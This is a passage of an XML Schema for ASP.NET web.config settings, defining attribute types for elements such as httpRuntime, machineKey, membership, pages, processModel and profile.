2069 <xs:attribute name="delayNotificationTimeout" type="xs:string" use="optional" />
2070 <xs:attribute name="enable" type="small_boolean_Type" use="optional" />
2071 <xs:attribute name="enableHeaderChecking" type="small_boolean_Type" use="optional" />
2072 <xs:attribute name="enableKernelOutputCache" type="small_boolean_Type" use="optional" />
2073 <xs:attribute name="enableVersionHeader" type="small_boolean_Type" use="optional" />
2074 <xs:attribute name="executionTimeout" use="optional">
2075 <xs:simpleType>
2076 <xs:restriction base="xs:string">
2077 <xs:pattern value="([0-9.]+:){0,1}([0-9]+:){0,1}[0-9.]+" />
2078 </xs:restriction>
2079 </xs:simpleType>
2080 </xs:attribute>
2081 <xs:attribute name="maxRequestLength" use="optional">
2082 <xs:simpleType>
2083 <xs:restriction base="xs:int">
2084 <xs:minInclusive value="0" />
2085 </xs:restriction>
2086 </xs:simpleType>
2087 </xs:attribute>
2088 <xs:attribute name="maxWaitChangeNotification" use="optional">
2089 <xs:simpleType>
2090 <xs:restriction base="xs:int">
2091 <xs:minInclusive value="0" />
2092 </xs:restriction>
2093 </xs:simpleType>
2094 </xs:attribute>
2095 <xs:attribute name="minFreeThreads" use="optional">
2096 <xs:simpleType>
2097 <xs:restriction base="xs:int">
2098 <xs:minInclusive value="0" />
2099 </xs:restriction>
2100 </xs:simpleType>
2101 </xs:attribute>
2102 <xs:attribute name="minLocalRequestFreeThreads" use="optional">
2103 <xs:simpleType>
2104 <xs:restriction base="xs:int">
2105 <xs:minInclusive value="0" />
2106 </xs:restriction>
2107 </xs:simpleType>
2108 </xs:attribute>
2109 <xs:attribute name="requestLengthDiskThreshold" use="optional">
2110 <xs:simpleType>
2111 <xs:restriction base="xs:int">
2112 <xs:minInclusive value="1" />
2113 </xs:restriction>
2114 </xs:simpleType>
2115 </xs:attribute>
2116 <xs:attribute name="requireRootedSaveAsPath" type="small_boolean_Type" use="optional" />
2117 <xs:attribute name="sendCacheControlHeader" type="small_boolean_Type" use="optional" />
2118 <xs:attribute name="shutdownTimeout" type="xs:string" use="optional" />
2119 <xs:attribute name="useFullyQualifiedRedirectUrl" type="small_boolean_Type" use="optional" />
2120 <xs:attribute name="waitChangeNotification" use="optional">
2121 <xs:simpleType>
2122 <xs:restriction base="xs:int">
2123 <xs:minInclusive value="0" />
2124 </xs:restriction>
2125 </xs:simpleType>
2126 </xs:attribute>
2127 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2128 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2129 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2130 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2131 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2132 <xs:attribute name="configSource" type="xs:string" use="optional" />
2133 </xs:complexType>
2134 </xs:element>
2135 <xs:element name="identity" vs:help="configuration/system.web/identity">
2136 <xs:complexType>
2137 <xs:attribute name="impersonate" type="small_boolean_Type" use="optional" />
2138 <xs:attribute name="password" type="xs:string" use="optional" />
2139 <xs:attribute name="userName" type="xs:string" use="optional" />
2140 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2141 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2142 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2143 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2144 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2145 <xs:attribute name="configSource" type="xs:string" use="optional" />
2146 </xs:complexType>
2147 </xs:element>
2148 <xs:element name="machineKey" vs:help="configuration/system.web/machineKey">
2149 <xs:complexType>
2150 <xs:attribute name="decryption" use="optional">
2151 <xs:simpleType>
2152 <xs:restriction base="xs:string">
2153 <xs:minLength value="1" />
2154 <xs:whiteSpace value="collapse" />
2155 </xs:restriction>
2156 </xs:simpleType>
2157 </xs:attribute>
2158 <xs:attribute name="decryptionKey" use="optional">
2159 <xs:simpleType>
2160 <xs:restriction base="xs:string">
2161 <xs:minLength value="1" />
2162 <xs:whiteSpace value="collapse" />
2163 </xs:restriction>
2164 </xs:simpleType>
2165 </xs:attribute>
2166 <xs:attribute name="validation" use="optional">
2167 <xs:simpleType>
2168 <xs:restriction base="xs:NMTOKEN">
2169 <xs:enumeration value="AES" />
2170 <xs:enumeration value="MD5" />
2171 <xs:enumeration value="SHA1" />
2172 <xs:enumeration value="3DES" />
2173 </xs:restriction>
2174 </xs:simpleType>
2175 </xs:attribute>
2176 <xs:attribute name="validationKey" use="optional">
2177 <xs:simpleType>
2178 <xs:restriction base="xs:string">
2179 <xs:minLength value="1" />
2180 <xs:whiteSpace value="collapse" />
2181 </xs:restriction>
2182 </xs:simpleType>
2183 </xs:attribute>
2184 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2185 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2186 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2187 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2188 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2189 <xs:attribute name="configSource" type="xs:string" use="optional" />
2190 </xs:complexType>
2191 </xs:element>
2192 <xs:element name="membership" vs:help="configuration/system.web/membership">
2193 <xs:complexType>
2194 <xs:choice minOccurs="0" maxOccurs="unbounded">
2195 <xs:element name="providers" vs:help="configuration/system.web/membership/providers">
2196 <xs:complexType>
2197 <xs:choice minOccurs="0" maxOccurs="unbounded">
2198 <xs:element name="add" vs:help="configuration/system.web/membership/providers/add">
2199 <xs:complexType>
2200 <xs:attribute name="name" type="xs:string" use="required" />
2201 <xs:attribute name="type" type="xs:string" use="required" />
2202 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2203 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2204 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2205 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2206 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2207 <xs:anyAttribute processContents="skip" />
2208 </xs:complexType>
2209 </xs:element>
2210 <xs:element name="remove" vs:help="configuration/system.web/membership/providers/remove">
2211 <xs:complexType>
2212 <xs:attribute name="name" type="xs:string" use="required" />
2213 </xs:complexType>
2214 </xs:element>
2215 <xs:element name="clear" vs:help="configuration/system.web/membership/providers/clear">
2216 <xs:complexType>
2217 <!--tag is empty-->
2218 </xs:complexType>
2219 </xs:element>
2220 </xs:choice>
2221 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2222 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2223 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2224 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2225 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2226 </xs:complexType>
2227 </xs:element>
2228 </xs:choice>
2229 <xs:attribute name="defaultProvider" use="optional">
2230 <xs:simpleType>
2231 <xs:restriction base="xs:string">
2232 <xs:minLength value="1" />
2233 </xs:restriction>
2234 </xs:simpleType>
2235 </xs:attribute>
2236 <xs:attribute name="hashAlgorithmType" type="xs:string" use="optional" />
2237 <xs:attribute name="userIsOnlineTimeWindow" use="optional">
2238 <xs:simpleType>
2239 <xs:restriction base="xs:string">
2240 <xs:pattern value="([0-9.]+:){0,1}([0-9]+:){0,1}[0-9.]+" />
2241 </xs:restriction>
2242 </xs:simpleType>
2243 </xs:attribute>
2244 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2245 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2246 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2247 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2248 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2249 <xs:attribute name="configSource" type="xs:string" use="optional" />
2250 </xs:complexType>
2251 </xs:element>
2252 <xs:element name="mobileControls" vs:help="configuration/system.web/mobileControls">
2253 <xs:complexType>
2254 <xs:choice minOccurs="0" maxOccurs="unbounded">
2255 <xs:element name="device" vs:help="configuration/system.web/mobileControls/device">
2256 <xs:complexType>
2257 <xs:choice minOccurs="0" maxOccurs="unbounded">
2258 <xs:element name="control" vs:help="configuration/system.web/mobileControls/DeviceElement/control">
2259 <xs:complexType>
2260 <xs:attribute name="adapter" type="xs:string" use="required" />
2261 <xs:attribute name="name" use="required">
2262 <xs:simpleType>
2263 <xs:restriction base="xs:string">
2264 <xs:minLength value="1" />
2265 </xs:restriction>
2266 </xs:simpleType>
2267 </xs:attribute>
2268 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2269 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2270 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2271 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2272 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2273 </xs:complexType>
2274 </xs:element>
2275 <xs:element name="remove" vs:help="configuration/system.web/mobileControls/DeviceElement/remove">
2276 <xs:complexType>
2277 <xs:attribute name="name" use="required">
2278 <xs:simpleType>
2279 <xs:restriction base="xs:string">
2280 <xs:minLength value="1" />
2281 </xs:restriction>
2282 </xs:simpleType>
2283 </xs:attribute>
2284 </xs:complexType>
2285 </xs:element>
2286 <xs:element name="clear" vs:help="configuration/system.web/mobileControls/DeviceElement/clear">
2287 <xs:complexType>
2288 <!--tag is empty-->
2289 </xs:complexType>
2290 </xs:element>
2291 </xs:choice>
2292 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2293 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2294 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2295 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2296 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2297 <xs:attribute name="inheritsFrom" use="optional">
2298 <xs:simpleType>
2299 <xs:restriction base="xs:string">
2300 <xs:minLength value="1" />
2301 </xs:restriction>
2302 </xs:simpleType>
2303 </xs:attribute>
2304 <xs:attribute name="name" use="required">
2305 <xs:simpleType>
2306 <xs:restriction base="xs:string">
2307 <xs:minLength value="1" />
2308 </xs:restriction>
2309 </xs:simpleType>
2310 </xs:attribute>
2311 <xs:attribute name="pageAdapter" type="xs:string" use="optional" />
2312 <xs:attribute name="predicateClass" type="xs:string" use="optional" />
2313 <xs:attribute name="predicateMethod" use="optional">
2314 <xs:simpleType>
2315 <xs:restriction base="xs:string">
2316 <xs:minLength value="1" />
2317 </xs:restriction>
2318 </xs:simpleType>
2319 </xs:attribute>
2320 </xs:complexType>
2321 </xs:element>
2322 <xs:element name="remove" vs:help="configuration/system.web/mobileControls/remove">
2323 <xs:complexType>
2324 <xs:choice minOccurs="0" maxOccurs="unbounded">
2325 <xs:element name="control" vs:help="configuration/system.web/mobileControls/DeviceElement/control">
2326 <xs:complexType>
2327 <xs:attribute name="adapter" type="xs:string" use="required" />
2328 <xs:attribute name="name" use="required">
2329 <xs:simpleType>
2330 <xs:restriction base="xs:string">
2331 <xs:minLength value="1" />
2332 </xs:restriction>
2333 </xs:simpleType>
2334 </xs:attribute>
2335 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2336 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2337 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2338 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2339 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2340 </xs:complexType>
2341 </xs:element>
2342 <xs:element name="remove" vs:help="configuration/system.web/mobileControls/DeviceElement/remove">
2343 <xs:complexType>
2344 <xs:attribute name="name" use="required">
2345 <xs:simpleType>
2346 <xs:restriction base="xs:string">
2347 <xs:minLength value="1" />
2348 </xs:restriction>
2349 </xs:simpleType>
2350 </xs:attribute>
2351 </xs:complexType>
2352 </xs:element>
2353 <xs:element name="clear" vs:help="configuration/system.web/mobileControls/DeviceElement/clear">
2354 <xs:complexType>
2355 <!--tag is empty-->
2356 </xs:complexType>
2357 </xs:element>
2358 </xs:choice>
2359 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2360 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2361 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2362 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2363 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2364 <xs:attribute name="name" use="required">
2365 <xs:simpleType>
2366 <xs:restriction base="xs:string">
2367 <xs:minLength value="1" />
2368 </xs:restriction>
2369 </xs:simpleType>
2370 </xs:attribute>
2371 </xs:complexType>
2372 </xs:element>
2373 <xs:element name="clear" vs:help="configuration/system.web/mobileControls/clear">
2374 <xs:complexType>
2375 <!--tag is empty-->
2376 </xs:complexType>
2377 </xs:element>
2378 </xs:choice>
2379 <xs:attribute name="allowCustomAttributes" type="small_boolean_Type" use="optional" />
2380 <xs:attribute name="cookielessDataDictionaryType" type="xs:string" use="optional" />
2381 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2382 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2383 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2384 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2385 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2386 <xs:attribute name="sessionStateHistorySize" use="optional">
2387 <xs:simpleType>
2388 <xs:restriction base="xs:int">
2389 <xs:minInclusive value="0" />
2390 </xs:restriction>
2391 </xs:simpleType>
2392 </xs:attribute>
2393 <xs:attribute name="configSource" type="xs:string" use="optional" />
2394 </xs:complexType>
2395 </xs:element>
2396 <xs:element name="pages" vs:help="configuration/system.web/pages">
2397 <xs:complexType>
2398 <xs:choice minOccurs="0" maxOccurs="unbounded">
2399 <xs:element name="controls" vs:help="configuration/system.web/pages/controls">
2400 <xs:complexType>
2401 <xs:choice minOccurs="0" maxOccurs="unbounded">
2402 <xs:element name="add" vs:help="configuration/system.web/pages/controls/add">
2403 <xs:complexType>
2404 <xs:attribute name="assembly" type="xs:string" use="optional" />
2405 <xs:attribute name="namespace" type="xs:string" use="optional" />
2406 <xs:attribute name="src" type="xs:string" use="optional" />
2407 <xs:attribute name="tagName" type="xs:string" use="optional" />
2408 <xs:attribute name="tagPrefix" use="required">
2409 <xs:simpleType>
2410 <xs:restriction base="xs:string">
2411 <xs:minLength value="1" />
2412 </xs:restriction>
2413 </xs:simpleType>
2414 </xs:attribute>
2415 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2416 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2417 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2418 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2419 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2420 </xs:complexType>
2421 </xs:element>
2422 </xs:choice>
2423 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2424 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2425 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2426 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2427 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2428 </xs:complexType>
2429 </xs:element>
2430 <xs:element name="namespaces" vs:help="configuration/system.web/pages/namespaces">
2431 <xs:complexType>
2432 <xs:choice minOccurs="0" maxOccurs="unbounded">
2433 <xs:element name="add" vs:help="configuration/system.web/pages/namespaces/add">
2434 <xs:complexType>
2435 <xs:attribute name="namespace" use="required">
2436 <xs:simpleType>
2437 <xs:restriction base="xs:string">
2438 <xs:minLength value="1" />
2439 </xs:restriction>
2440 </xs:simpleType>
2441 </xs:attribute>
2442 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2443 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2444 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2445 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2446 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2447 </xs:complexType>
2448 </xs:element>
2449 <xs:element name="remove" vs:help="configuration/system.web/pages/namespaces/remove">
2450 <xs:complexType>
2451 <xs:attribute name="namespace" use="required">
2452 <xs:simpleType>
2453 <xs:restriction base="xs:string">
2454 <xs:minLength value="1" />
2455 </xs:restriction>
2456 </xs:simpleType>
2457 </xs:attribute>
2458 </xs:complexType>
2459 </xs:element>
2460 <xs:element name="clear" vs:help="configuration/system.web/pages/namespaces/clear">
2461 <xs:complexType>
2462 <!--tag is empty-->
2463 </xs:complexType>
2464 </xs:element>
2465 </xs:choice>
2466 <xs:attribute name="autoImportVBNamespace" type="small_boolean_Type" use="optional" />
2467 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2468 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2469 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2470 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2471 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2472 </xs:complexType>
2473 </xs:element>
2474 <xs:element name="tagMapping" vs:help="configuration/system.web/pages/tagMapping">
2475 <xs:complexType>
2476 <xs:choice minOccurs="0" maxOccurs="unbounded">
2477 <xs:element name="add" vs:help="configuration/system.web/pages/tagMapping/add">
2478 <xs:complexType>
2479 <xs:attribute name="mappedTagType" use="optional">
2480 <xs:simpleType>
2481 <xs:restriction base="xs:string">
2482 <xs:minLength value="1" />
2483 </xs:restriction>
2484 </xs:simpleType>
2485 </xs:attribute>
2486 <xs:attribute name="tagType" use="required">
2487 <xs:simpleType>
2488 <xs:restriction base="xs:string">
2489 <xs:minLength value="1" />
2490 </xs:restriction>
2491 </xs:simpleType>
2492 </xs:attribute>
2493 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2494 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2495 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2496 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2497 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2498 </xs:complexType>
2499 </xs:element>
2500 <xs:element name="remove" vs:help="configuration/system.web/pages/tagMapping/remove">
2501 <xs:complexType>
2502 <xs:attribute name="tagType" use="required">
2503 <xs:simpleType>
2504 <xs:restriction base="xs:string">
2505 <xs:minLength value="1" />
2506 </xs:restriction>
2507 </xs:simpleType>
2508 </xs:attribute>
2509 </xs:complexType>
2510 </xs:element>
2511 <xs:element name="clear" vs:help="configuration/system.web/pages/tagMapping/clear">
2512 <xs:complexType>
2513 <!--tag is empty-->
2514 </xs:complexType>
2515 </xs:element>
2516 </xs:choice>
2517 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2518 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2519 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2520 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2521 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2522 </xs:complexType>
2523 </xs:element>
2524 </xs:choice>
2525 <xs:attribute name="asyncTimeout" use="optional">
2526 <xs:simpleType>
2527 <xs:restriction base="xs:string">
2528 <xs:pattern value="([0-9.]+:){0,1}([0-9]+:){0,1}[0-9.]+" />
2529 </xs:restriction>
2530 </xs:simpleType>
2531 </xs:attribute>
2532 <xs:attribute name="autoEventWireup" type="small_boolean_Type" use="optional" />
2533 <xs:attribute name="buffer" type="small_boolean_Type" use="optional" />
2534 <xs:attribute name="compilationMode" use="optional">
2535 <xs:simpleType>
2536 <xs:restriction base="xs:NMTOKEN">
2537 <xs:enumeration value="Always" />
2538 <xs:enumeration value="Auto" />
2539 <xs:enumeration value="Never" />
2540 </xs:restriction>
2541 </xs:simpleType>
2542 </xs:attribute>
2543 <xs:attribute name="enableEventValidation" type="small_boolean_Type" use="optional" />
2544 <xs:attribute name="enableSessionState" use="optional">
2545 <xs:simpleType>
2546 <xs:restriction base="xs:NMTOKEN">
2547 <xs:enumeration value="false" />
2548 <xs:enumeration value="ReadOnly" />
2549 <xs:enumeration value="true" />
2550 </xs:restriction>
2551 </xs:simpleType>
2552 </xs:attribute>
2553 <xs:attribute name="enableViewState" type="small_boolean_Type" use="optional" />
2554 <xs:attribute name="enableViewStateMac" type="small_boolean_Type" use="optional" />
2555 <xs:attribute name="maintainScrollPositionOnPostBack" type="small_boolean_Type" use="optional" />
2556 <xs:attribute name="masterPageFile" type="xs:string" use="optional" />
2557 <xs:attribute name="maxPageStateFieldLength" type="xs:int" use="optional" />
2558 <xs:attribute name="pageBaseType" type="xs:string" use="optional" />
2559 <xs:attribute name="pageParserFilterType" type="xs:string" use="optional" />
2560 <xs:attribute name="smartNavigation" type="small_boolean_Type" use="optional" />
2561 <xs:attribute name="styleSheetTheme" type="xs:string" use="optional" />
2562 <xs:attribute name="theme" type="xs:string" use="optional" />
2563 <xs:attribute name="userControlBaseType" type="xs:string" use="optional" />
2564 <xs:attribute name="validateRequest" type="small_boolean_Type" use="optional" />
2565 <xs:attribute name="viewStateEncryptionMode" use="optional">
2566 <xs:simpleType>
2567 <xs:restriction base="xs:NMTOKEN">
2568 <xs:enumeration value="Always" />
2569 <xs:enumeration value="Auto" />
2570 <xs:enumeration value="Never" />
2571 </xs:restriction>
2572 </xs:simpleType>
2573 </xs:attribute>
2574 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2575 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2576 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2577 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2578 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2579 <xs:attribute name="configSource" type="xs:string" use="optional" />
2580 </xs:complexType>
2581 </xs:element>
2582 <xs:element name="processModel" vs:help="configuration/system.web/processModel">
2583 <xs:complexType>
2584 <xs:attribute name="autoConfig" type="small_boolean_Type" use="optional" />
2585 <xs:attribute name="clientConnectedCheck" type="xs:string" use="optional" />
2586 <xs:attribute name="comAuthenticationLevel" use="optional">
2587 <xs:simpleType>
2588 <xs:restriction base="xs:NMTOKEN">
2589 <xs:enumeration value="Call" />
2590 <xs:enumeration value="Connect" />
2591 <xs:enumeration value="Default" />
2592 <xs:enumeration value="None" />
2593 <xs:enumeration value="Pkt" />
2594 <xs:enumeration value="PktIntegrity" />
2595 <xs:enumeration value="PktPrivacy" />
2596 </xs:restriction>
2597 </xs:simpleType>
2598 </xs:attribute>
2599 <xs:attribute name="comImpersonationLevel" use="optional">
2600 <xs:simpleType>
2601 <xs:restriction base="xs:NMTOKEN">
2602 <xs:enumeration value="Anonymous" />
2603 <xs:enumeration value="Default" />
2604 <xs:enumeration value="Delegate" />
2605 <xs:enumeration value="Identify" />
2606 <xs:enumeration value="Impersonate" />
2607 </xs:restriction>
2608 </xs:simpleType>
2609 </xs:attribute>
2610 <xs:attribute name="cpuMask" type="xs:int" use="optional" />
2611 <xs:attribute name="enable" type="small_boolean_Type" use="optional" />
2612 <xs:attribute name="idleTimeout" type="xs:string" use="optional" />
2613 <xs:attribute name="logLevel" use="optional">
2614 <xs:simpleType>
2615 <xs:restriction base="xs:NMTOKEN">
2616 <xs:enumeration value="All" />
2617 <xs:enumeration value="Errors" />
2618 <xs:enumeration value="None" />
2619 </xs:restriction>
2620 </xs:simpleType>
2621 </xs:attribute>
2622 <xs:attribute name="maxAppDomains" use="optional">
2623 <xs:simpleType>
2624 <xs:restriction base="xs:int">
2625 <xs:minInclusive value="1" />
2626 <xs:maxInclusive value="2147483646" />
2627 </xs:restriction>
2628 </xs:simpleType>
2629 </xs:attribute>
2630 <xs:attribute name="maxIoThreads" use="optional">
2631 <xs:simpleType>
2632 <xs:restriction base="xs:int">
2633 <xs:minInclusive value="1" />
2634 <xs:maxInclusive value="2147483646" />
2635 </xs:restriction>
2636 </xs:simpleType>
2637 </xs:attribute>
2638 <xs:attribute name="maxWorkerThreads" use="optional">
2639 <xs:simpleType>
2640 <xs:restriction base="xs:int">
2641 <xs:minInclusive value="1" />
2642 <xs:maxInclusive value="2147483646" />
2643 </xs:restriction>
2644 </xs:simpleType>
2645 </xs:attribute>
2646 <xs:attribute name="memoryLimit" type="xs:int" use="optional" />
2647 <xs:attribute name="minIoThreads" use="optional">
2648 <xs:simpleType>
2649 <xs:restriction base="xs:int">
2650 <xs:minInclusive value="1" />
2651 <xs:maxInclusive value="2147483646" />
2652 </xs:restriction>
2653 </xs:simpleType>
2654 </xs:attribute>
2655 <xs:attribute name="minWorkerThreads" use="optional">
2656 <xs:simpleType>
2657 <xs:restriction base="xs:int">
2658 <xs:minInclusive value="1" />
2659 <xs:maxInclusive value="2147483646" />
2660 </xs:restriction>
2661 </xs:simpleType>
2662 </xs:attribute>
2663 <xs:attribute name="password" type="xs:string" use="optional" />
2664 <xs:attribute name="pingFrequency" type="xs:string" use="optional" />
2665 <xs:attribute name="pingTimeout" type="xs:string" use="optional" />
2666 <xs:attribute name="requestLimit" use="optional">
2667 <xs:simpleType>
2668 <xs:union memberTypes="xs:int Infinite">
2669 <xs:simpleType>
2670 <xs:restriction base="xs:int">
2671 <xs:minInclusive value="0" />
2672 </xs:restriction>
2673 </xs:simpleType>
2674 </xs:union>
2675 </xs:simpleType>
2676 </xs:attribute>
2677 <xs:attribute name="requestQueueLimit" use="optional">
2678 <xs:simpleType>
2679 <xs:union memberTypes="xs:int Infinite">
2680 <xs:simpleType>
2681 <xs:restriction base="xs:int">
2682 <xs:minInclusive value="0" />
2683 </xs:restriction>
2684 </xs:simpleType>
2685 </xs:union>
2686 </xs:simpleType>
2687 </xs:attribute>
2688 <xs:attribute name="responseDeadlockInterval" use="optional">
2689 <xs:simpleType>
2690 <xs:restriction base="xs:string">
2691 <xs:pattern value="([0-9.]+:){0,1}([0-9]+:){0,1}[0-9.]+" />
2692 </xs:restriction>
2693 </xs:simpleType>
2694 </xs:attribute>
2695 <xs:attribute name="responseRestartDeadlockInterval" type="xs:string" use="optional" />
2696 <xs:attribute name="restartQueueLimit" use="optional">
2697 <xs:simpleType>
2698 <xs:union memberTypes="xs:int Infinite">
2699 <xs:simpleType>
2700 <xs:restriction base="xs:int">
2701 <xs:minInclusive value="0" />
2702 </xs:restriction>
2703 </xs:simpleType>
2704 </xs:union>
2705 </xs:simpleType>
2706 </xs:attribute>
2707 <xs:attribute name="serverErrorMessageFile" type="xs:string" use="optional" />
2708 <xs:attribute name="shutdownTimeout" use="optional">
2709 <xs:simpleType>
2710 <xs:restriction base="xs:string">
2711 <xs:pattern value="([0-9.]+:){0,1}([0-9]+:){0,1}[0-9.]+" />
2712 </xs:restriction>
2713 </xs:simpleType>
2714 </xs:attribute>
2715 <xs:attribute name="timeout" type="xs:string" use="optional" />
2716 <xs:attribute name="userName" type="xs:string" use="optional" />
2717 <xs:attribute name="webGarden" type="small_boolean_Type" use="optional" />
2718 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2719 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2720 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2721 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2722 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2723 <xs:attribute name="configSource" type="xs:string" use="optional" />
2724 </xs:complexType>
2725 </xs:element>
2726 <xs:element name="profile" vs:help="configuration/system.web/profile">
2727 <xs:complexType>
2728 <xs:choice minOccurs="0" maxOccurs="unbounded">
2729 <xs:element name="properties" vs:help="configuration/system.web/profile/properties">
2730 <xs:complexType>
2731 <xs:choice minOccurs="0" maxOccurs="unbounded">
2732 <xs:element name="add" vs:help="configuration/system.web/profile/properties/add">
2733 <xs:complexType>
2734 <xs:attribute name="allowAnonymous" type="small_boolean_Type" use="optional" />
2735 <xs:attribute name="customProviderData" type="xs:string" use="optional" />
2736 <xs:attribute name="defaultValue" type="xs:string" use="optional" />
2737 <xs:attribute name="name" type="xs:string" use="required" />
2738 <xs:attribute name="provider" type="xs:string" use="optional" />
2739 <xs:attribute name="readOnly" type="small_boolean_Type" use="optional" />
2740 <xs:attribute name="serializeAs" use="optional">
2741 <xs:simpleType>
2742 <xs:restriction base="xs:NMTOKEN">
2743 <xs:enumeration value="Binary" />
2744 <xs:enumeration value="ProviderSpecific" />
2745 <xs:enumeration value="String" />
2746 <xs:enumeration value="Xml" />
2747 </xs:restriction>
2748 </xs:simpleType>
2749 </xs:attribute>
2750 <xs:attribute name="type" type="xs:string" use="optional" />
2751 <xs:attribute name="lockAttributes" type="xs:string" use="optional" />
2752 <xs:attribute name="lockAllAttributesExcept" type="xs:string" use="optional" />
2753 <xs:attribute name="lockElements" type="xs:string" use="optional" />
2754 <xs:attribute name="lockAllElementsExcept" type="xs:string" use="optional" />
2755 <xs:attribute name="lockItem" type="small_boolean_Type" use="optional" />
2756 </xs:complexType>
2757 </xs:element>
2758 <xs:element name="remove" vs:help="configuration/system.web/profile/properties/remove">
2759 <xs:complexType>
2760 <xs:attribute name="name" type="xs:string" use="required" />
2761 </xs:complexType>
2762 </xs:element>
2763 <xs:element name="clear" vs:help="configuration/system.web/profile/properties/clear">
2764 <xs:complexType>
2765 <!--tag is empty-->
2766 </xs:complexType>
2767 </xs:element>
2768 <xs:element name="group" vs:help="configuration/system.web/profile/properties/group/group">
2769 <xs:complexType>
2770 <xs:choice minOccurs="0" maxOccurs="unbounded">
2771 <xs:element name="add" vs:help="configuration/system.web/profile/properties/group/ProfileGroupSettings/add">
